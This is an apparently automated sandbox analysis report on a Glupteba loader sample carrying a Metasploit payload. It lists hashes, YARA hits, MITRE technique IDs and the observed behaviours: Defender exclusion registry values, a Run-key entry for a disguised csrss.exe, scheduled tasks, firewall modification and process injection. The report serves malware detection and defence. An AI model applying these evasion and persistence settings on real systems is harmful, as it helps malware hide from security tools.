glupteba | 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0

General

Target

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Size

4.4MB
MD5

54a520f5d265e1436948bfac54f97284
SHA1

47ac910cec047fc26990a9a20d7955419d547691
SHA256

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0
SHA512

a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1664-56-0x0000000004F60000-0x000000000586A000-memory.dmp	family_glupteba
behavioral1/memory/1664-57-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/1664-58-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/1664-59-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/748-62-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/748-64-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/748-71-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/1896-74-0x0000000004E00000-0x000000000570A000-memory.dmp	family_glupteba
behavioral1/memory/1896-75-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba
behavioral1/memory/1896-76-0x0000000000400000-0x0000000002FCA000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SpringFlower = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Executes dropped EXE 1 IoCs

Processes:

csrss.exe

pid process

1896 csrss.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

568 netsh.exe

pid	process
1896	csrss.exe

pid	process
568	netsh.exe

Loads dropped DLL 2 IoCs

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

pid	process
748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SpringFlower = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\SpringFlower = "\"C:\\Windows\\rss\\csrss.exe\""	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
File created	C:\Windows\rss\csrss.exe	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220604152149.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1588 schtasks.exe
1692 schtasks.exe

pid	process
1588	schtasks.exe
1692	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.exe10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.execsrss.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

pid	process
1664	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

description	pid	process
Token: SeDebugPrivilege	1664	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Token: SeImpersonatePrivilege	1664	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.execmd.exe

description	pid	process	target process
PID 748 wrote to memory of 1864	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	cmd.exe
PID 748 wrote to memory of 1864	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	cmd.exe
PID 748 wrote to memory of 1864	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	cmd.exe
PID 748 wrote to memory of 1864	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	cmd.exe
PID 1864 wrote to memory of 568	1864	cmd.exe	netsh.exe
PID 1864 wrote to memory of 568	1864	cmd.exe	netsh.exe
PID 1864 wrote to memory of 568	1864	cmd.exe	netsh.exe
PID 748 wrote to memory of 1896	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	csrss.exe
PID 748 wrote to memory of 1896	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	csrss.exe
PID 748 wrote to memory of 1896	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	csrss.exe
PID 748 wrote to memory of 1896	748	10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
"C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
"C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\system32\cmd.exe
